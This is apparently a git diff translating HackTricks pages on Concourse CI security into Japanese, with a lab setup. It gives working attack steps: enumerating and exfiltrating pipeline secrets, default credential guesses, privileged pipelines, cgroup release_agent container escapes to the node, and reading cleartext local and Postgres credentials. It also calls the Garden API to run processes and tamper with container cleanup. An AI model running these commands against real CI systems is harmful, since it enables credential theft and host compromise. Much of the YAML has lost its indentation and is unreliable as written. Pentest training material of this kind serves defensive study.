これは**ボリューム管理API**で、通常は**ポート7788**で**HTTP**を介して実行されます。 ## References - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 4b778a804..18192223e 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -4,49 +4,47 @@ {{#include ../../banners/hacktricks-training.md}} -### User Roles & Permissions +### ユーザーロールと権限 -Concourse comes with five roles: +Concourse には5つのロールがあります： -- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC. -- **owner**: Team owners can **modify everything within the team**. -- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings. -- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations. -- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines. +- _Concourse_ **Admin**: このロールは **メインチーム**（デフォルトの初期 concourse チーム）の所有者にのみ与えられます。管理者は **他のチームを構成**できます（例：`fly set-team`、`fly destroy-team`...）。このロールの権限は RBAC によって影響を受けません。 +- **owner**: チームの所有者は **チーム内のすべてを変更**できます。 +- **member**: チームメンバーは **チームの資産内で読み書き**できますが、チーム設定を変更することはできません。 +- **pipeline-operator**: パイプラインオペレーターは **パイプライン操作**（ビルドのトリガーやリソースのピン留めなど）を実行できますが、パイプライン設定を更新することはできません。 +- **viewer**: チームのビューワーはチームとそのパイプラインに **「読み取り専用」アクセス**を持っています。 > [!NOTE] -> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> さらに、**owner、member、pipeline-operator、viewer のロールの権限は** RBAC を構成することで変更できます（具体的にはそのアクションを構成します）。詳細については、[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)を参照してください。 -Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them. +Concourse は **チーム内にパイプラインをグループ化**します。したがって、チームに属するユーザーはそれらのパイプラインを管理でき、**複数のチーム**が存在する可能性があります。ユーザーは複数のチームに属し、それぞれのチーム内で異なる権限を持つことができます。 ### Vars & Credential Manager -In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\ -[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\ -The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\ -Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`. +YAML 設定では、`((_source-name_:_secret-path_._secret-field_))` の構文を使用して値を構成できます。\ +[ドキュメントから：](https://concourse-ci.org/vars.html#var-syntax) **source-name はオプション**であり、省略した場合は [クラスター全体の資格情報マネージャー](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) が使用されるか、値が [静的に提供される](https://concourse-ci.org/vars.html#static-vars)場合があります。\ +**オプションの \_secret-field**\_ は、取得したシークレットから読み取るフィールドを指定します。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択することがあります。\ +さらに、_**secret-path**_ と _**secret-field**_ は、`。` や `:` のような **特殊文字**を含む場合、二重引用符 `"..."` で囲むことができます。たとえば、`((source:"my.secret"."field:1"))` は _secret-path_ を `my.secret` に、_secret-field_ を `field:1` に設定します。 -#### Static Vars - -Static vars can be specified in **tasks steps**: +#### 静的変数 +静的変数は **タスクステップ**で指定できます： ```yaml - task: unit-1.13 - file: booklit/ci/unit.yml - vars: { tag: 1.13 } +file: booklit/ci/unit.yml +vars: { tag: 1.13 } ``` - Or using the following `fly` **arguments**: -- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`. -- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`. -- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars. -- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all. +- `-v` or `--var` `NAME=VALUE` は、文字列 `VALUE` を var `NAME` の値として設定します。 +- `-y` or `--yaml-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、var `NAME` の値として設定します。 +- `-i` or `--instance-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、インスタンス var `NAME` の値として設定します。インスタンス var について詳しくは [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) を参照してください。 +- `-l` or `--load-vars-from` `FILE` は、var 名と値のマッピングを含む YAML ドキュメント `FILE` を読み込み、すべてを設定します。 #### Credential Management -There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ -Moreover, Concourse supports different credential managers: +パイプラインで **Credential Manager を指定する方法** はいくつかあります。詳細は [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) をお読みください。\ +さらに、Concourse は異なる Credential Manager をサポートしています： - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) - [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) @@ -59,160 +57,151 @@ Moreover, Concourse supports different credential managers: - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them. +> Concourse に対して何らかの **書き込みアクセス** がある場合、**それらの秘密を外部に持ち出す** ジョブを作成できることに注意してください。Concourse はそれらにアクセスできる必要があります。 ### Concourse Enumeration -In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file. +Concourse 環境を列挙するには、まず **有効な資格情報を収集する** か、`.flyrc` 設定ファイルにある **認証トークンを見つける** 必要があります。 #### Login and Current User enum -- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**: - - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- Get configured **targets**: - - `fly targets` -- Get if the configured **target connection** is still **valid**: - - `fly -t status` -- Get **role** of the user against the indicated target: - - `fly -t userinfo` +- ログインするには、**エンドポイント**、**チーム名**（デフォルトは `main`）、および **ユーザーが所属するチーム** を知っている必要があります： +- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` +- 設定された **ターゲット** を取得： +- `fly targets` +- 設定された **ターゲット接続** がまだ **有効** かどうかを確認： +- `fly -t status` +- 指定されたターゲットに対するユーザーの **役割** を取得： +- `fly -t userinfo` > [!NOTE] -> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials. +> **API トークン** はデフォルトで `$HOME/.flyrc` に **保存** されるため、マシンを略奪する際にそこに資格情報が見つかる可能性があります。 #### Teams & Users -- Get a list of the Teams - - `fly -t teams` -- Get roles inside team - - `fly -t get-team -n ` -- Get a list of users - - `fly -t active-users` +- チームのリストを取得： +- `fly -t teams` +- チーム内の役割を取得： +- `fly -t get-team -n ` +- ユーザーのリストを取得： +- `fly -t active-users` #### Pipelines -- **List** pipelines: - - `fly -t pipelines -a` -- **Get** pipeline yaml (**sensitive information** might be found in the definition): - - `fly -t get-pipeline -p ` -- Get all pipeline **config declared vars** - - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them): - +- **パイプラインのリスト**： +- `fly -t pipelines -a` +- パイプラインの YAML を **取得**（**機密情報**が定義に含まれている可能性があります）： +- `fly -t get-pipeline -p ` +- すべてのパイプライン **設定された変数** を取得： +- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` +- 使用されているすべての **パイプラインの秘密の名前** を取得（ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、外部に持ち出すことができます）： ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do - echo $pipename; - fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; - echo ""; +echo $pipename; +fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; +echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` +#### コンテナとワーカー -#### Containers & Workers +- **ワーカー**のリスト: +- `fly -t workers` +- **コンテナ**のリスト: +- `fly -t containers` +- **ビルド**のリスト（実行中のものを確認するため）: +- `fly -t builds` -- List **workers**: - - `fly -t workers` -- List **containers**: - - `fly -t containers` -- List **builds** (to see what is running): - - `fly -t builds` +### Concourse攻撃 -### Concourse Attacks - -#### Credentials Brute-Force +#### 認証情報ブルートフォース - admin:admin - test:test -#### Secrets and params enumeration +#### シークレットとパラメータの列挙 -In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them. +前のセクションでは、パイプラインで使用される**すべてのシークレット名と変数**を**取得する方法**を見ました。**変数には機密情報が含まれている可能性があり**、**シークレットの名前は後でそれらを盗むために役立ちます**。 -#### Session inside running or recently run container - -If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using: +#### 実行中または最近実行されたコンテナ内のセッション +十分な権限（**メンバー役割以上**）があれば、**パイプラインと役割をリスト**し、次のコマンドを使用して**/** **コンテナ内にセッションを取得**できます: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` +これらの権限があれば、次のことができるかもしれません： -With these permissions you might be able to: +- **コンテナ**内の**秘密**を**盗む** +- **ノード**に**脱出**しようとする +- **クラウドメタデータ**エンドポイントを列挙/悪用する（ポッドおよびノードから、可能であれば） -- **Steal the secrets** inside the **container** -- Try to **escape** to the node -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible) - -#### Pipeline Creation/Modification - -If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example: +#### パイプラインの作成/変更 +十分な権限（**メンバー役割以上**）があれば、**新しいパイプラインを作成/変更**することができます。次の例を確認してください： ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - echo "$SUPER_SECRET" - sleep 1000 - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +echo "$SUPER_SECRET" +sleep 1000 +params: +SUPER_SECRET: ((super.secret)) ``` +新しいパイプラインの**変更/作成**により、次のことが可能になります： -With the **modification/creation** of a new pipeline you will be able to: +- **秘密**を**盗む**（エコー出力するか、コンテナ内に入り`env`を実行することで） +- **ノード**に**脱出**する（十分な権限を与えることで - `privileged: true`） +- **クラウドメタデータ**エンドポイントを列挙/悪用する（ポッドおよびノードから） +- 作成したパイプラインを**削除**する -- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`) -- **Escape** to the **node** (by giving you enough privileges - `privileged: true`) -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node) -- **Delete** created pipeline - -#### Execute Custom Task - -This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**): +#### カスタムタスクの実行 +これは前の方法に似ていますが、全く新しいパイプラインを変更/作成する代わりに、**カスタムタスクを実行するだけ**で済みます（おそらくはるかに**ステルス性**が高いでしょう）： ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: - type: registry-image - source: - repository: ubuntu +type: registry-image +source: +repository: ubuntu run: - path: sh - args: - - -cx - - | - env - sleep 1000 +path: sh +args: +- -cx +- | +env +sleep 1000 params: - SUPER_SECRET: ((super.secret)) +SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` +#### 特権タスクからノードへのエスケープ -#### Escaping to the node from privileged task - -In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". - -In the following PoC we are going to use the release_agent to escape with some small modifications: +前のセクションでは、**concourseで特権タスクを実行する方法**を見ました。これは、dockerコンテナの特権フラグと同じアクセスをコンテナに与えるわけではありません。例えば、/devにノードのファイルシステムデバイスは表示されないため、エスケープはより「複雑」になる可能性があります。 +次のPoCでは、リリースエージェントを使用して、いくつかの小さな変更を加えてエスケープします： ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - > [!WARNING] -> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node +> ご覧の通り、これは単なる [**通常の release_agent エスケープ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) であり、ノード内の cmd のパスを変更するだけです。 -#### Escaping to the node from a Worker container - -A regular release_agent escape with a minor modification is enough for this: +#### ワーカーコンテナからノードへのエスケープ +このためには、わずかな修正を加えた通常の release_agent エスケープで十分です： ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` +#### Webコンテナからノードへのエスケープ -#### Escaping to the node from the Web container - -Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless). - -However, it stores **local credentials in clear text**: +ウェブコンテナにいくつかの防御が無効になっていても、それは**一般的な特権コンテナとして実行されていません**（例えば、**マウント**できず、**能力**は非常に**制限されています**。そのため、コンテナからエスケープするための簡単な方法は無駄です）。 +しかし、**ローカルの資格情報を平文で保存しています**： ```bash cat /concourse-auth/local-users test:test @@ -319,11 +304,9 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` +その資格情報を使用して、**ウェブサーバーにログイン**し、**特権コンテナを作成してノードに脱出**することができます。 -You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**. - -In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info): - +環境内では、concourseが使用する**postgresql**インスタンスにアクセスするための情報（アドレス、**ユーザー名**、**パスワード**、およびデータベースなどの情報）も見つけることができます。 ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -344,39 +327,35 @@ select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` - -#### Abusing Garden Service - Not a real Attack +#### ガーデンサービスの悪用 - 実際の攻撃ではない > [!WARNING] -> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before +> これはサービスに関するいくつかの興味深いメモですが、ローカルホストでのみリッスンしているため、これらのメモは私たちがすでに利用したことのない影響をもたらすことはありません。 -By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections: +デフォルトでは、各コンコースワーカーはポート7777で[**Garden**](https://github.com/cloudfoundry/garden)サービスを実行します。このサービスは、ウェブマスターがワーカーに**実行する必要があること**（イメージをダウンロードし、各タスクを実行する）を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります： -- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker. -- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service. - -Concourse workers run with high container privileges: +- それは**ローカルにのみ公開されています**（127..0.0.1）し、ワーカーが特別なSSHサービスでウェブに対して認証されるとき、トンネルが作成され、ウェブサーバーが各ワーカー内の**各Gardenサービス**と**通信できる**ようになります。 +- ウェブサーバーは**数秒ごとに実行中のコンテナを監視しており**、**予期しない**コンテナは**削除されます**。したがって、**カスタムコンテナを実行したい**場合は、ウェブサーバーとガーデンサービス間の**通信**を**改ざん**する必要があります。 +コンコースワーカーは高いコンテナ特権で実行されます： ``` Container Runtime: docker Has Namespaces: - pid: true - user: false +pid: true +user: false AppArmor Profile: kernel Capabilities: - BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read +BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` - -However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated. +しかし、ノードの /dev デバイスや release_agent を **マウント**するような技術は **機能しません**（ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみです）。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出することは複雑になります。 > [!NOTE] -> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**. +> 前のセクションでは特権コンテナから脱出する方法を見ましたので、**現在の** **ワーカー**によって作成された **特権コンテナ** でコマンドを **実行**できる場合、**ノードに脱出**できる可能性があります。 -Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it. - -**Getting inside a running privileged container** +concourseで遊んでいると、新しいコンテナが何かを実行するために生成されるとき、コンテナプロセスはワーカーコンテナからアクセス可能であることに気付きました。つまり、コンテナがその内部に新しいコンテナを作成しているようなものです。 +**実行中の特権コンテナに入る** ```bash # Get current container curl 127.0.0.1:7777/containers @@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` +**新しい特権コンテナの作成** -**Creating a new privileged container** - -You can very easily create a new container (just run a random UID) and execute something on it: - +ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます: ```bash curl -X POST http://127.0.0.1:7777/containers \ - -H 'Content-Type: application/json' \ - -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' +-H 'Content-Type: application/json' \ +-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` - -However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers: - +しかし、ウェブサーバーは数秒ごとに実行中のコンテナをチェックしており、予期しないコンテナが発見されると削除されます。通信がHTTPで行われているため、予期しないコンテナの削除を回避するために通信を改ざんすることができます： ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. @@ -434,13 +409,8 @@ Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` - -## References +## 参考文献 - https://concourse-ci.org/vars.html {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 0cc6363a7..6aad9d1ff 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -2,25 +2,22 @@ {{#include ../../banners/hacktricks-training.md}} -## Testing Environment +## テスト環境 -### Running Concourse +### Concourseの実行 -#### With Docker-Compose - -This docker-compose file simplifies the installation to do some tests with concourse: +#### Docker-Composeを使用して +このdocker-composeファイルは、concourseでいくつかのテストを行うためのインストールを簡素化します: ```bash wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` +`fly`コマンドラインをあなたのOS用にウェブから`127.0.0.1:8080`でダウンロードできます。 -You can download the command line `fly` for your OS from the web in `127.0.0.1:8080` - -#### With Kubernetes (Recommended) - -You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). +#### Kubernetesを使用して（推奨） +**Kubernetes**（例えば**minikube**）に簡単にconcourseをデプロイするには、helm-chartを使用します: [**concourse-chart**](https://github.com/concourse/concourse-chart)。 ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` - -After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets: - +concourse envを生成した後、秘密を生成し、concourse webで実行されているSAにK8sの秘密にアクセスする権限を与えることができます: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: - name: read-secrets +name: read-secrets rules: - apiGroups: [""] - resources: ["secrets"] - verbs: ["get"] +resources: ["secrets"] +verbs: ["get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: - name: read-secrets-concourse +name: read-secrets-concourse roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: read-secrets +apiGroup: rbac.authorization.k8s.io +kind: ClusterRole +name: read-secrets subjects: - kind: ServiceAccount - name: concourse-release-web - namespace: default +name: concourse-release-web +namespace: default --- apiVersion: v1 kind: Secret metadata: - name: super - namespace: concourse-release-main +name: super +namespace: concourse-release-main type: Opaque data: - secret: MWYyZDFlMmU2N2Rm +secret: MWYyZDFlMmU2N2Rm ' | kubectl apply -f - ``` +### パイプラインの作成 -### Create Pipeline +パイプラインは、順序付きの[ステップ](https://concourse-ci.org/steps.html)のリストを含む[ジョブ](https://concourse-ci.org/jobs.html)のリストで構成されています。 -A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html). +### ステップ -### Steps +いくつかの異なるタイプのステップを使用できます： -Several different type of steps can be used: +- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **は** [**task**](https://concourse-ci.org/tasks.html) **を実行します** +- the [`get` step](https://concourse-ci.org/get-step.html) は [resource](https://concourse-ci.org/resources.html) を取得します +- the [`put` step](https://concourse-ci.org/put-step.html) は [resource](https://concourse-ci.org/resources.html) を更新します +- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) は [pipeline](https://concourse-ci.org/pipelines.html) を構成します +- the [`load_var` step](https://concourse-ci.org/load-var-step.html) は値を [local var](https://concourse-ci.org/vars.html#local-vars) にロードします +- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) はステップを並行して実行します +- the [`do` step](https://concourse-ci.org/do-step.html) はステップを順番に実行します +- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) はステップを複数回実行します；変数の値の組み合わせごとに1回実行します +- the [`try` step](https://concourse-ci.org/try-step.html) はステップを実行しようとし、ステップが失敗しても成功します -- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html) -- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html) -- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html) -- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html) -- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars) -- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel -- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence -- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values -- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails +各[ステップ](https://concourse-ci.org/steps.html)は[ジョブプラン](https://concourse-ci.org/jobs.html#schema.job.plan)内で**独自のコンテナ**で実行されます。コンテナ内で何でも実行できます _(つまり、テストを実行する、bashスクリプトを実行する、このイメージをビルドするなど)。_ したがって、5つのステップを持つジョブがある場合、Concourseは各ステップのために5つのコンテナを作成します。 -Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step. - -Therefore, it's possible to indicate the type of container each step needs to be run in. - -### Simple Pipeline Example +したがって、各ステップが実行される必要があるコンテナのタイプを指定することが可能です。 +### シンプルなパイプラインの例 ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - sleep 1000 - echo "$SUPER_SECRET" - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +sleep 1000 +echo "$SUPER_SECRET" +params: +SUPER_SECRET: ((super.secret)) ``` ```bash @@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` +**127.0.0.1:8080** 